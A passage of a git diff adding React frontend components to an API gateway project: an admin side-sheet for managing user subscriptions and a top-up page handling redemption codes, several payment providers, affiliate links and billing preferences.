+  Empty,
+  Modal,
+  Select,
+  SideSheet,
+  Space,
+  Tag,
+  Typography,
+} from '@douyinfe/semi-ui';
+import { IconPlusCircle } from '@douyinfe/semi-icons';
+import {
+  IllustrationNoResult,
+  IllustrationNoResultDark,
+} from '@douyinfe/semi-illustrations';
+import { API, showError, showSuccess } from '../../../../helpers';
+import { convertUSDToCurrency } from '../../../../helpers/render';
+import { useIsMobile } from '../../../../hooks/common/useIsMobile';
+import CardTable from '../../../common/ui/CardTable';
+
+const { Text } = Typography;
+
+function formatTs(ts) {
+  if (!ts) return '-';
+  return new Date(ts * 1000).toLocaleString();
+}
+
+function renderStatusTag(sub, t) {
+  const now = Date.now() / 1000;
+  const end = sub?.end_time || 0;
+  const status = sub?.status || '';
+
+  const isExpiredByTime = end > 0 && end < now;
+  const isActive = status === 'active' && !isExpiredByTime;
+  if (isActive) {
+    return (
+      <Tag color='green' shape='circle' size='small'>
+        {t('生效')}
+      </Tag>
+    );
+  }
+  if (status === 'cancelled') {
+    return (
+      <Tag color='grey' shape='circle' size='small'>
+        {t('已作废')}
+      </Tag>
+    );
+  }
+  return (
+    <Tag color='grey' shape='circle' size='small'>
+      {t('已过期')}
+    </Tag>
+  );
+}
+
+const UserSubscriptionsModal = ({ visible, onCancel, user, t, onSuccess }) => {
+  const isMobile = useIsMobile();
+  const [loading, setLoading] = useState(false);
+  const [creating, setCreating] = useState(false);
+  const [plansLoading, setPlansLoading] = useState(false);
+
+  const [plans, setPlans] = useState([]);
+  const [selectedPlanId, setSelectedPlanId] = useState(null);
+
+  const [subs, setSubs] = useState([]);
+  const [currentPage, setCurrentPage] = useState(1);
+  const pageSize = 10;
+
+  const planTitleMap = useMemo(() => {
+    const map = new Map();
+    (plans || []).forEach((p) => {
+      const id = p?.plan?.id;
+      const title = p?.plan?.title;
+      if (id) map.set(id, title || `#${id}`);
+    });
+    return map;
+  }, [plans]);
+
+  const pagedSubs = useMemo(() => {
+    const start = Math.max(0, (Number(currentPage || 1) - 1) * pageSize);
+    const end = start + pageSize;
+    return (subs || []).slice(start, end);
+  }, [subs, currentPage]);
+
+  const planOptions = useMemo(() => {
+    return (plans || []).map((p) => ({
+      label: `${p?.plan?.title || ''} (${convertUSDToCurrency(
+        Number(p?.plan?.price_amount || 0),
+        2,
+      )})`,
+      value: p?.plan?.id,
+    }));
+  }, [plans]);
+
+  const loadPlans = async () => {
+    setPlansLoading(true);
+    try {
+      const res = await API.get('/api/subscription/admin/plans');
+      if (res.data?.success) {
+        setPlans(res.data.data || []);
+      } else {
+        showError(res.data?.message || t('加载失败'));
+      }
+    } catch (e) {
+      showError(t('请求失败'));
+    } finally {
+      setPlansLoading(false);
+    }
+  };
+
+  const loadUserSubscriptions = async () => {
+    if (!user?.id) return;
+    setLoading(true);
+    try {
+      const res = await API.get(
+        `/api/subscription/admin/users/${user.id}/subscriptions`,
+      );
+      if (res.data?.success) {
+        const next = res.data.data || [];
+        setSubs(next);
+        setCurrentPage(1);
+      } else {
+        showError(res.data?.message || t('加载失败'));
+      }
+    } catch (e) {
+      showError(t('请求失败'));
+    } finally {
+      setLoading(false);
+    }
+  };
+
+  useEffect(() => {
+    if (!visible) return;
+    setSelectedPlanId(null);
+    setCurrentPage(1);
+    loadPlans();
+    loadUserSubscriptions();
+  }, [visible]);
+
+  const handlePageChange = (page) => {
+    setCurrentPage(page);
+  };
+
+  const createSubscription = async () => {
+    if (!user?.id) {
+      showError(t('用户信息缺失'));
+      return;
+    }
+    if (!selectedPlanId) {
+      showError(t('请选择订阅套餐'));
+      return;
+    }
+    setCreating(true);
+    try {
+      const res = await API.post(
+        `/api/subscription/admin/users/${user.id}/subscriptions`,
+        {
+          plan_id: selectedPlanId,
+        },
+      );
+      if (res.data?.success) {
+        const msg = res.data?.data?.message;
+        showSuccess(msg ? msg : t('新增成功'));
+        setSelectedPlanId(null);
+        await loadUserSubscriptions();
+        onSuccess?.();
+      } else {
+        showError(res.data?.message || t('新增失败'));
+      }
+    } catch (e) {
+      showError(t('请求失败'));
+    } finally {
+      setCreating(false);
+    }
+  };
+
+  const invalidateSubscription = (subId) => {
+    Modal.confirm({
+      title: t('确认作废'),
+      content: t('作废后该订阅将立即失效，历史记录不受影响。是否继续？'),
+      centered: true,
+      onOk: async () => {
+        try {
+          const res = await API.post(
+            `/api/subscription/admin/user_subscriptions/${subId}/invalidate`,
+          );
+          if (res.data?.success) {
+            const msg = res.data?.data?.message;
+            showSuccess(msg ? msg : t('已作废'));
+            await loadUserSubscriptions();
+            onSuccess?.();
+          } else {
+            showError(res.data?.message || t('操作失败'));
+          }
+        } catch (e) {
+          showError(t('请求失败'));
+        }
+      },
+    });
+  };
+
+  const deleteSubscription = (subId) => {
+    Modal.confirm({
+      title: t('确认删除'),
+      content: t('删除会彻底移除该订阅记录（含权益明细）。是否继续？'),
+      centered: true,
+      okType: 'danger',
+      onOk: async () => {
+        try {
+          const res = await API.delete(
+            `/api/subscription/admin/user_subscriptions/${subId}`,
+          );
+          if (res.data?.success) {
+            const msg = res.data?.data?.message;
+            showSuccess(msg ? msg : t('已删除'));
+            await loadUserSubscriptions();
+            onSuccess?.();
+          } else {
+            showError(res.data?.message || t('删除失败'));
+          }
+        } catch (e) {
+          showError(t('请求失败'));
+        }
+      },
+    });
+  };
+
+  const columns = useMemo(() => {
+    return [
+      {
+        title: 'ID',
+        dataIndex: ['subscription', 'id'],
+        key: 'id',
+        width: 70,
+      },
+      {
+        title: t('套餐'),
+        key: 'plan',
+        width: 180,
+        render: (_, record) => {
+          const sub = record?.subscription;
+          const planId = sub?.plan_id;
+          const title =
+            planTitleMap.get(planId) || (planId ? `#${planId}` : '-');
+          return (
+            <div className='min-w-0'>
+              <div className='font-medium truncate'>{title}</div>
+              <div className='text-xs text-gray-500'>
+                {t('来源')}: {sub?.source || '-'}
+              </div>
+            </div>
+          );
+        },
+      },
+      {
+        title: t('状态'),
+        key: 'status',
+        width: 90,
+        render: (_, record) => renderStatusTag(record?.subscription, t),
+      },
+      {
+        title: t('有效期'),
+        key: 'validity',
+        width: 200,
+        render: (_, record) => {
+          const sub = record?.subscription;
+          return (
+            <div className='text-xs text-gray-600'>
+              <div>
+                {t('开始')}: {formatTs(sub?.start_time)}
+              </div>
+              <div>
+                {t('结束')}: {formatTs(sub?.end_time)}
+              </div>
+            </div>
+          );
+        },
+      },
+      {
+        title: t('总额度'),
+        key: 'total',
+        width: 120,
+        render: (_, record) => {
+          const sub = record?.subscription;
+          const total = Number(sub?.amount_total || 0);
+          const used = Number(sub?.amount_used || 0);
+          return (
+            <Text type={total > 0 ? 'secondary' : 'tertiary'}>
+              {total > 0 ? `${used}/${total}` : t('不限')}
+            </Text>
+          );
+        },
+      },
+      {
+        title: '',
+        key: 'operate',
+        width: 140,
+        fixed: 'right',
+        render: (_, record) => {
+          const sub = record?.subscription;
+          const now = Date.now() / 1000;
+          const isExpired =
+            (sub?.end_time || 0) > 0 && (sub?.end_time || 0) < now;
+          const isActive = sub?.status === 'active' && !isExpired;
+          const isCancelled = sub?.status === 'cancelled';
+          return (
+            <Space>
+              <Button
+                size='small'
+                type='warning'
+                theme='light'
+                disabled={!isActive || isCancelled}
+                onClick={() => invalidateSubscription(sub?.id)}
+              >
+                {t('作废')}
+              </Button>
+              <Button
+                size='small'
+                type='danger'
+                theme='light'
+                onClick={() => deleteSubscription(sub?.id)}
+              >
+                {t('删除')}
+              </Button>
+            </Space>
+          );
+        },
+      },
+    ];
+  }, [t, planTitleMap]);
+
+  return (
+    <SideSheet
+      visible={visible}
+      placement='right'
+      width={isMobile ? '100%' : 920}
+      bodyStyle={{ padding: 0 }}
+      onCancel={onCancel}
+      title={
+        <Space>
+          <Tag color='blue' shape='circle'>
+            {t('管理')}
+          </Tag>
+          <Typography.Title heading={4} className='m-0'>
+            {t('用户订阅管理')}
+          </Typography.Title>
+          <Text type='tertiary' className='ml-2'>
+            {user?.username || '-'} (ID: {user?.id || '-'})
+          </Text>
+        </Space>
+      }
+    >
+      <div className='p-4'>
+        {/* 顶部操作栏：新增订阅 */}
+        <div className='flex flex-col md:flex-row md:items-center md:justify-between gap-3 mb-4'>
+          <div className='flex gap-2 flex-1'>
+            <Select
+              placeholder={t('选择订阅套餐')}
+              optionList={planOptions}
+              value={selectedPlanId}
+              onChange={setSelectedPlanId}
+              loading={plansLoading}
+              filter
+              style={{ minWidth: isMobile ? undefined : 300, flex: 1 }}
+            />
+            <Button
+              type='primary'
+              theme='solid'
+              icon={<IconPlusCircle />}
+              loading={creating}
+              onClick={createSubscription}
+            >
+              {t('新增订阅')}
+            </Button>
+          </div>
+        </div>
+
+        {/* 订阅列表 */}
+        <CardTable
+          columns={columns}
+          dataSource={pagedSubs}
+          rowKey={(row) => row?.subscription?.id}
+          loading={loading}
+          scroll={{ x: 'max-content' }}
+          hidePagination={false}
+          pagination={{
+            currentPage,
+            pageSize,
+            total: subs.length,
+            pageSizeOpts: [10, 20, 50],
+            showSizeChanger: false,
+            onPageChange: handlePageChange,
+          }}
+          empty={
+            <Empty
+              image={
+                <IllustrationNoResult style={{ width: 150, height: 150 }} />
+              }
+              darkModeImage={
+                <IllustrationNoResultDark style={{ width: 150, height: 150 }} />
+              }
+              description={t('暂无订阅记录')}
+              style={{ padding: 30 }}
+            />
+          }
+          size='middle'
+        />
+      </div>
+    </SideSheet>
+  );
+};
+
+export default UserSubscriptionsModal;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/topup/index.jsx b/_all-in-one-upload/new-api/web/classic/src/components/topup/index.jsx
new file mode 100644
index 0000000..1c23ca9
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/topup/index.jsx
@@ -0,0 +1,1003 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useEffect, useState, useContext, useRef } from 'react';
+import { useSearchParams } from 'react-router-dom';
+import {
+  API,
+  showError,
+  showInfo,
+  showSuccess,
+  renderQuota,
+  renderQuotaWithAmount,
+  copy,
+  getQuotaPerUnit,
+} from '../../helpers';
+import { Modal, Toast } from '@douyinfe/semi-ui';
+import { useTranslation } from 'react-i18next';
+import { UserContext } from '../../context/User';
+import { StatusContext } from '../../context/Status';
+
+import RechargeCard from './RechargeCard';
+import InvitationCard from './InvitationCard';
+import TransferModal from './modals/TransferModal';
+import PaymentConfirmModal from './modals/PaymentConfirmModal';
+import TopupHistoryModal from './modals/TopupHistoryModal';
+
+const TopUp = () => {
+  const { t } = useTranslation();
+  const [searchParams, setSearchParams] = useSearchParams();
+  const [userState, userDispatch] = useContext(UserContext);
+  const [statusState] = useContext(StatusContext);
+
+  const [redemptionCode, setRedemptionCode] = useState('');
+  const [amount, setAmount] = useState(0.0);
+  const [minTopUp, setMinTopUp] = useState(statusState?.status?.min_topup || 1);
+  const [topUpCount, setTopUpCount] = useState(
+    statusState?.status?.min_topup || 1,
+  );
+  const [topUpLink, setTopUpLink] = useState(
+    statusState?.status?.top_up_link || '',
+  );
+  const [enableOnlineTopUp, setEnableOnlineTopUp] = useState(
+    statusState?.status?.enable_online_topup || false,
+  );
+  const [priceRatio, setPriceRatio] = useState(statusState?.status?.price || 1);
+
+  const [enableStripeTopUp, setEnableStripeTopUp] = useState(
+    statusState?.status?.enable_stripe_topup || false,
+  );
+  const [statusLoading, setStatusLoading] = useState(true);
+
+  // Creem 相关状态
+  const [creemProducts, setCreemProducts] = useState([]);
+  const [enableCreemTopUp, setEnableCreemTopUp] = useState(false);
+  const [creemOpen, setCreemOpen] = useState(false);
+  const [selectedCreemProduct, setSelectedCreemProduct] = useState(null);
+
+  // Waffo 相关状态
+  const [enableWaffoTopUp, setEnableWaffoTopUp] = useState(false);
+  const [waffoPayMethods, setWaffoPayMethods] = useState([]);
+  const [waffoMinTopUp, setWaffoMinTopUp] = useState(1);
+  const [enableWaffoPancakeTopUp, setEnableWaffoPancakeTopUp] = useState(false);
+  const [waffoPancakeMinTopUp, setWaffoPancakeMinTopUp] = useState(1);
+
+  const [isSubmitting, setIsSubmitting] = useState(false);
+  const [open, setOpen] = useState(false);
+  const [payWay, setPayWay] = useState('');
+  const [amountLoading, setAmountLoading] = useState(false);
+  const [paymentLoading, setPaymentLoading] = useState(false);
+  const [confirmLoading, setConfirmLoading] = useState(false);
+  const [payMethods, setPayMethods] = useState([]);
+
+  const affFetchedRef = useRef(false);
+
+  // 邀请相关状态
+  const [affLink, setAffLink] = useState('');
+  const [openTransfer, setOpenTransfer] = useState(false);
+  const [transferAmount, setTransferAmount] = useState(0);
+
+  // 账单Modal状态
+  const [openHistory, setOpenHistory] = useState(false);
+
+  // 订阅相关
+  const [subscriptionPlans, setSubscriptionPlans] = useState([]);
+  const [subscriptionLoading, setSubscriptionLoading] = useState(true);
+  const [billingPreference, setBillingPreference] =
+    useState('subscription_first');
+  const [activeSubscriptions, setActiveSubscriptions] = useState([]);
+  const [allSubscriptions, setAllSubscriptions] = useState([]);
+
+  // 预设充值额度选项
+  const [presetAmounts, setPresetAmounts] = useState([]);
+  const [selectedPreset, setSelectedPreset] = useState(null);
+
+  // 充值配置信息
+  const [topupInfo, setTopupInfo] = useState({
+    amount_options: [],
+    discount: {},
+  });
+
+  const confirmPayMethods = [
+    ...payMethods,
+    ...waffoPayMethods.map((method, index) => ({
+      ...method,
+      type: `waffo:${index}`,
+      min_topup: waffoMinTopUp,
+      color: method.color || 'rgba(var(--semi-primary-5), 1)',
+    })),
+  ];
+
+  const getPayMethodConfig = (payment) =>
+    confirmPayMethods.find((method) => method.type === payment);
+
+  const getPaymentMinTopUp = (payment) => {
+    const configuredMinTopUp = Number(getPayMethodConfig(payment)?.min_topup);
+    return Number.isFinite(configuredMinTopUp) && configuredMinTopUp > 0
+      ? configuredMinTopUp
+      : minTopUp;
+  };
+
+  const requestAmountByPayment = async (payment, value) => {
+    if (payment === 'stripe') {
+      return getStripeAmount(value);
+    }
+    if (payment === 'waffo_pancake') {
+      return getWaffoPancakeAmount(value);
+    }
+    if (typeof payment === 'string' && payment.startsWith('waffo:')) {
+      return getWaffoAmount(value);
+    }
+    return getAmount(value);
+  };
+
+  const topUp = async () => {
+    if (redemptionCode === '') {
+      showInfo(t('请输入兑换码！'));
+      return;
+    }
+    setIsSubmitting(true);
+    try {
+      const res = await API.post('/api/user/topup', {
+        key: redemptionCode,
+      });
+      const { success, message, data } = res.data;
+      if (success) {
+        showSuccess(t('兑换成功！'));
+        Modal.success({
+          title: t('兑换成功！'),
+          content: t('成功兑换额度：') + renderQuota(data),
+          centered: true,
+        });
+        if (userState.user) {
+          const updatedUser = {
+            ...userState.user,
+            quota: userState.user.quota + data,
+          };
+          userDispatch({ type: 'login', payload: updatedUser });
+        }
+        setRedemptionCode('');
+      } else {
+        showError(message);
+      }
+    } catch (err) {
+      showError(t('请求失败'));
+    } finally {
+      setIsSubmitting(false);
+    }
+  };
+
+  const openTopUpLink = () => {
+    if (!topUpLink) {
+      showError(t('超级管理员未设置充值链接！'));
+      return;
+    }
+    window.open(topUpLink, '_blank');
+  };
+
+  const preTopUp = async (payment) => {
+    if (payment === 'stripe') {
+      if (!enableStripeTopUp) {
+        showError(t('管理员未开启Stripe充值！'));
+        return;
+      }
+    } else if (payment === 'waffo_pancake') {
+      if (!enableWaffoPancakeTopUp) {
+        showError(t('管理员未开启 Waffo Pancake 充值！'));
+        return;
+      }
+    } else if (payment.startsWith('waffo:')) {
+      if (!enableWaffoTopUp) {
+        showError(t('管理员未开启 Waffo 充值！'));
+        return;
+      }
+    } else {
+      if (!enableOnlineTopUp) {
+        showError(t('管理员未开启在线充值！'));
+        return;
+      }
+    }
+
+    setPayWay(payment);
+    setPaymentLoading(true);
+    try {
+      const selectedMinTopUp = getPaymentMinTopUp(payment);
+      await requestAmountByPayment(payment);
+
+      if (topUpCount < selectedMinTopUp) {
+        showError(t('充值数量不能小于') + selectedMinTopUp);
+        return;
+      }
+      setOpen(true);
+    } catch (error) {
+      showError(t('获取金额失败'));
+    } finally {
+      setPaymentLoading(false);
+    }
+  };
+
+  const onlineTopUp = async () => {
+    if (payWay === 'waffo_pancake') {
+      setConfirmLoading(true);
+      try {
+        await waffoPancakeTopUp();
+      } finally {
+        setOpen(false);
+        setConfirmLoading(false);
+      }
+      return;
+    }
+
+    if (payWay.startsWith('waffo:')) {
+      const payMethodIndex = Number(payWay.split(':')[1]);
+      setConfirmLoading(true);
+      try {
+        await waffoTopUp(Number.isFinite(payMethodIndex) ? payMethodIndex : 0);
+      } finally {
+        setOpen(false);
+        setConfirmLoading(false);
+      }
+      return;
+    }
+
+    if (payWay === 'stripe') {
+      // Stripe 支付处理
+      if (amount === 0) {
+        await getStripeAmount();
+      }
+    } else {
+      // 普通支付处理
+      if (amount === 0) {
+        await getAmount();
+      }
+    }
+
+    if (topUpCount < minTopUp) {
+      showError('充值数量不能小于' + minTopUp);
+      return;
+    }
+    setConfirmLoading(true);
+    try {
+      let res;
+      if (payWay === 'stripe') {
+        // Stripe 支付请求
+        res = await API.post('/api/user/stripe/pay', {
+          amount: parseInt(topUpCount),
+          payment_method: 'stripe',
+        });
+      } else {
+        // 普通支付请求
+        res = await API.post('/api/user/pay', {
+          amount: parseInt(topUpCount),
+          payment_method: payWay,
+        });
+      }
+
+      if (res !== undefined) {
+        const { message, data } = res.data;
+        if (message === 'success') {
+          if (payWay === 'stripe') {
+            // Stripe 支付回调处理
+            window.open(data.pay_link, '_blank');
+          } else {
+            // 普通支付表单提交
+            let params = data;
+            let url = res.data.url;
+            let form = document.createElement('form');
+            form.action = url;
+            form.method = 'POST';
+            let isSafari =
+              navigator.userAgent.indexOf('Safari') > -1 &&
+              navigator.userAgent.indexOf('Chrome') < 1;
+            if (!isSafari) {
+              form.target = '_blank';
+            }
+            for (let key in params) {
+              let input = document.createElement('input');
+              input.type = 'hidden';
+              input.name = key;
+              input.value = params[key];
+              form.appendChild(input);
+            }
+            document.body.appendChild(form);
+            form.submit();
+            document.body.removeChild(form);
+          }
+        } else {
+          const errorMsg =
+            typeof data === 'string' ? data : message || t('支付失败');
+          showError(errorMsg);
+        }
+      } else {
+        showError(res);
+      }
+    } catch (err) {
+      showError(t('支付请求失败'));
+    } finally {
+      setOpen(false);
+      setConfirmLoading(false);
+    }
+  };
+
+  const creemPreTopUp = async (product) => {
+    if (!enableCreemTopUp) {
+      showError(t('管理员未开启 Creem 充值！'));
+      return;
+    }
+    setSelectedCreemProduct(product);
+    setCreemOpen(true);
+  };
+
+  const onlineCreemTopUp = async () => {
+    if (!selectedCreemProduct) {
+      showError(t('请选择产品'));
+      return;
+    }
+    // Validate product has required fields
+    if (!selectedCreemProduct.productId) {
+      showError(t('产品配置错误，请联系管理员'));
+      return;
+    }
+    setConfirmLoading(true);
+    try {
+      const res = await API.post('/api/user/creem/pay', {
+        product_id: selectedCreemProduct.productId,
+        payment_method: 'creem',
+      });
+      if (res !== undefined) {
+        const { message, data } = res.data;
+        if (message === 'success') {
+          processCreemCallback(data);
+        } else {
+          const errorMsg =
+            typeof data === 'string' ? data : message || t('支付失败');
+          showError(errorMsg);
+        }
+      } else {
+        showError(res);
+      }
+    } catch (err) {
+      showError(t('支付请求失败'));
+    } finally {
+      setCreemOpen(false);
+      setConfirmLoading(false);
+    }
+  };
+
+  const waffoTopUp = async (payMethodIndex) => {
+    try {
+      if (topUpCount < waffoMinTopUp) {
+        showError(t('充值数量不能小于') + waffoMinTopUp);
+        return;
+      }
+      setPaymentLoading(true);
+      const requestBody = {
+        amount: parseInt(topUpCount),
+      };
+      if (payMethodIndex != null) {
+        requestBody.pay_method_index = payMethodIndex;
+      }
+      const res = await API.post('/api/user/waffo/pay', requestBody);
+      if (res !== undefined) {
+        const { message, data } = res.data;
+        if (message === 'success' && data?.payment_url) {
+          window.open(data.payment_url, '_blank');
+        } else {
+          showError(data || t('支付请求失败'));
+        }
+      } else {
+        showError(res);
+      }
+    } catch (e) {
+      showError(t('支付请求失败'));
+    } finally {
+      setPaymentLoading(false);
+    }
+  };
+
+  const getWaffoAmount = async (value) => {
+    if (value === undefined) {
+      value = topUpCount;
+    }
+    setAmountLoading(true);
+    try {
+      const res = await API.post('/api/user/waffo/amount', {
+        amount: parseInt(value),
+      });
+      if (res !== undefined) {
+        const { message, data } = res.data;
+        if (message === 'success') {
+          setAmount(parseFloat(data));
+        } else {
+          setAmount(0);
+          Toast.error({ content: '错误：' + data, id: 'getAmount' });
+        }
+      } else {
+        showError(res);
+      }
+    } catch (err) {
+      // amount fetch failed silently
+    } finally {
+      setAmountLoading(false);
+    }
+  };
+
+  const waffoPancakeTopUp = async () => {
+    const minTopUpValue = Number(waffoPancakeMinTopUp || 1);
+    if (topUpCount < minTopUpValue) {
+      showError(t('充值数量不能小于') + minTopUpValue);
+      return;
+    }
+
+    setPaymentLoading(true);
+    try {
+      const res = await API.post('/api/user/waffo-pancake/pay', {
+        amount: parseInt(topUpCount),
+      });
+      if (res !== undefined) {
+        const { message, data } = res.data;
+        if (message === 'success') {
+          const checkoutUrl = data?.checkout_url || '';
+          if (checkoutUrl) {
+            window.open(checkoutUrl, '_blank');
+          } else {
+            showError(t('支付请求失败'));
+          }
+        } else {
+          const errorMsg =
+            typeof data === 'string' ? data : message || t('支付请求失败');
+          showError(errorMsg);
+        }
+      } else {
+        showError(res);
+      }
+    } catch (e) {
+      showError(t('支付请求失败'));
+    } finally {
+      setPaymentLoading(false);
+    }
+  };
+
+  const getWaffoPancakeAmount = async (value) => {
+    if (value === undefined) {
+      value = topUpCount;
+    }
+    setAmountLoading(true);
+    try {
+      const res = await API.post('/api/user/waffo-pancake/amount', {
+        amount: parseInt(value),
+      });
+      if (res !== undefined) {
+        const { message, data } = res.data;
+        if (message === 'success') {
+          setAmount(parseFloat(data));
+        } else {
+          setAmount(0);
+          Toast.error({ content: '错误：' + data, id: 'getAmount' });
+        }
+      } else {
+        showError(res);
+      }
+    } catch (err) {
+      // amount fetch failed silently
+    } finally {
+      setAmountLoading(false);
+    }
+  };
+
+  const processCreemCallback = (data) => {
+    // 与 Stripe 保持一致的实现方式
+    window.open(data.checkout_url, '_blank');
+  };
+
+  const getUserQuota = async () => {
+    let res = await API.get(`/api/user/self`);
+    const { success, message, data } = res.data;
+    if (success) {
+      userDispatch({ type: 'login', payload: data });
+    } else {
+      showError(message);
+    }
+  };
+
+  const getSubscriptionPlans = async () => {
+    setSubscriptionLoading(true);
+    try {
+      const res = await API.get('/api/subscription/plans');
+      if (res.data?.success) {
+        setSubscriptionPlans(res.data.data || []);
+      }
+    } catch (e) {
+      setSubscriptionPlans([]);
+    } finally {
+      setSubscriptionLoading(false);
+    }
+  };
+
+  const getSubscriptionSelf = async () => {
+    try {
+      const res = await API.get('/api/subscription/self');
+      if (res.data?.success) {
+        setBillingPreference(
+          res.data.data?.billing_preference || 'subscription_first',
+        );
+        // Active subscriptions
+        const activeSubs = res.data.data?.subscriptions || [];
+        setActiveSubscriptions(activeSubs);
+        // All subscriptions (including expired)
+        const allSubs = res.data.data?.all_subscriptions || [];
+        setAllSubscriptions(allSubs);
+      }
+    } catch (e) {
+      // ignore
+    }
+  };
+
+  const updateBillingPreference = async (pref) => {
+    const previousPref = billingPreference;
+    setBillingPreference(pref);
+    try {
+      const res = await API.put('/api/subscription/self/preference', {
+        billing_preference: pref,
+      });
+      if (res.data?.success) {
+        showSuccess(t('更新成功'));
+        const normalizedPref =
+          res.data?.data?.billing_preference || pref || previousPref;
+        setBillingPreference(normalizedPref);
+      } else {
+        showError(res.data?.message || t('更新失败'));
+        setBillingPreference(previousPref);
+      }
+    } catch (e) {
+      showError(t('请求失败'));
+      setBillingPreference(previousPref);
+    }
+  };
+
+  // 获取充值配置信息
+  const getTopupInfo = async () => {
+    try {
+      const res = await API.get('/api/user/topup/info');
+      const { message, data, success } = res.data;
+      if (success) {
+        setTopupInfo({
+          amount_options: data.amount_options || [],
+          discount: data.discount || {},
+        });
+
+        // 处理支付方式
+        let payMethods = data.pay_methods || [];
+        try {
+          if (typeof payMethods === 'string') {
+            payMethods = JSON.parse(payMethods);
+          }
+          if (payMethods && payMethods.length > 0) {
+            // 检查name和type是否为空
+            payMethods = payMethods.filter((method) => {
+              return method.name && method.type;
+            });
+            // 如果没有color，则设置默认颜色
+            payMethods = payMethods.map((method) => {
+              // 规范化最小充值数
+              const normalizedMinTopup = Number(method.min_topup);
+              method.min_topup = Number.isFinite(normalizedMinTopup)
+                ? normalizedMinTopup
+                : 0;
+
+              // Stripe 的最小充值从后端字段回填
+              if (
+                method.type === 'stripe' &&
+                (!method.min_topup || method.min_topup <= 0)
+              ) {
+                const stripeMin = Number(data.stripe_min_topup);
+                if (Number.isFinite(stripeMin)) {
+                  method.min_topup = stripeMin;
+                }
+              }
+
+              if (!method.color) {
+                if (method.type === 'alipay') {
+                  method.color = 'rgba(var(--semi-blue-5), 1)';
+                } else if (method.type === 'wxpay') {
+                  method.color = 'rgba(var(--semi-green-5), 1)';
+                } else if (method.type === 'stripe') {
+                  method.color = 'rgba(var(--semi-purple-5), 1)';
+                } else {
+                  method.color = 'rgba(var(--semi-primary-5), 1)';
+                }
+              }
+              return method;
+            });
+          } else {
+            payMethods = [];
+          }
+
+          // 如果启用了 Stripe 支付，添加到支付方法列表
+          // 这个逻辑现在由后端处理，如果 Stripe 启用，后端会在 pay_methods 中包含它
+
+          setPayMethods(payMethods);
+          const enableStripeTopUp = data.enable_stripe_topup || false;
+          const enableOnlineTopUp = data.enable_online_topup || false;
+          const enableCreemTopUp = data.enable_creem_topup || false;
+          const enableWaffoTopUp = data.enable_waffo_topup || false;
+          const enableWaffoPancakeTopUp =
+            data.enable_waffo_pancake_topup || false;
+          const minTopUpValue = enableOnlineTopUp
+            ? data.min_topup
+            : enableStripeTopUp
+              ? data.stripe_min_topup
+              : enableWaffoTopUp
+                ? data.waffo_min_topup
+                : enableWaffoPancakeTopUp
+                  ? data.waffo_pancake_min_topup
+                : 1;
+          setEnableOnlineTopUp(enableOnlineTopUp);
+          setEnableStripeTopUp(enableStripeTopUp);
+          setEnableCreemTopUp(enableCreemTopUp);
+          setEnableWaffoTopUp(enableWaffoTopUp);
+          setWaffoPayMethods(data.waffo_pay_methods || []);
+          setWaffoMinTopUp(data.waffo_min_topup || 1);
+          setEnableWaffoPancakeTopUp(enableWaffoPancakeTopUp);
+          setWaffoPancakeMinTopUp(data.waffo_pancake_min_topup || 1);
+          setMinTopUp(minTopUpValue);
+          setTopUpCount(minTopUpValue);
+
+          // 设置 Creem 产品
+          try {
+            const products = JSON.parse(data.creem_products || '[]');
+            setCreemProducts(products);
+          } catch (e) {
+            setCreemProducts([]);
+          }
+
+          // 如果没有自定义充值数量选项，根据最小充值金额生成预设充值额度选项
+          if (topupInfo.amount_options.length === 0) {
+            setPresetAmounts(generatePresetAmounts(minTopUpValue));
+          }
+
+          // 初始化显示实付金额
+          getAmount(minTopUpValue);
+        } catch (e) {
+          setPayMethods([]);
+        }
+
+        // 如果有自定义充值数量选项，使用它们替换默认的预设选项
+        if (data.amount_options && data.amount_options.length > 0) {
+          const customPresets = data.amount_options.map((amount) => ({
+            value: amount,
+            discount: data.discount[amount] || 1.0,
+          }));
+          setPresetAmounts(customPresets);
+        }
+      } else {
+        showError(data || t('获取充值配置失败'));
+      }
+    } catch (error) {
+      showError(t('获取充值配置异常'));
+    }
+  };
+
+  // 获取邀请链接
+  const getAffLink = async () => {
+    const res = await API.get('/api/user/aff');
+    const { success, message, data } = res.data;
+    if (success) {
+      let link = `${window.location.origin}/register?aff=${data}`;
+      setAffLink(link);
+    } else {
+      showError(message);
+    }
+  };
+
+  // 划转邀请额度
+  const transfer = async () => {
+    if (transferAmount < getQuotaPerUnit()) {
+      showError(t('划转金额最低为') + ' ' + renderQuota(getQuotaPerUnit()));
+      return;
+    }
+    const res = await API.post(`/api/user/aff_transfer`, {
+      quota: transferAmount,
+    });
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(message);
+      setOpenTransfer(false);
+      getUserQuota().then();
+    } else {
+      showError(message);
+    }
+  };
+
+  // 复制邀请链接
+  const handleAffLinkClick = async () => {
+    await copy(affLink);
+    showSuccess(t('邀请链接已复制到剪切板'));
+  };
+
+  // URL 参数自动打开账单弹窗（支付回跳时触发）
+  useEffect(() => {
+    if (searchParams.get('show_history') === 'true') {
+      setOpenHistory(true);
+      searchParams.delete('show_history');
+      setSearchParams(searchParams, { replace: true });
+    }
+  }, []);
+
+  useEffect(() => {
+    // 始终获取最新用户数据，确保余额等统计信息准确
+    getUserQuota().then();
+    setTransferAmount(getQuotaPerUnit());
+  }, []);
+
+  useEffect(() => {
+    if (affFetchedRef.current) return;
+    affFetchedRef.current = true;
+    getAffLink().then();
+  }, []);
+
+  // 在 statusState 可用时获取充值信息
+  useEffect(() => {
+    getTopupInfo().then();
+    getSubscriptionPlans().then();
+    getSubscriptionSelf().then();
+  }, []);
+
+  useEffect(() => {
+    if (statusState?.status) {
+      // const minTopUpValue = statusState.status.min_topup || 1;
+      // setMinTopUp(minTopUpValue);
+      // setTopUpCount(minTopUpValue);
+      setTopUpLink(statusState.status.top_up_link || '');
+      setPriceRatio(statusState.status.price || 1);
+
+      setStatusLoading(false);
+    }
+  }, [statusState?.status]);
+
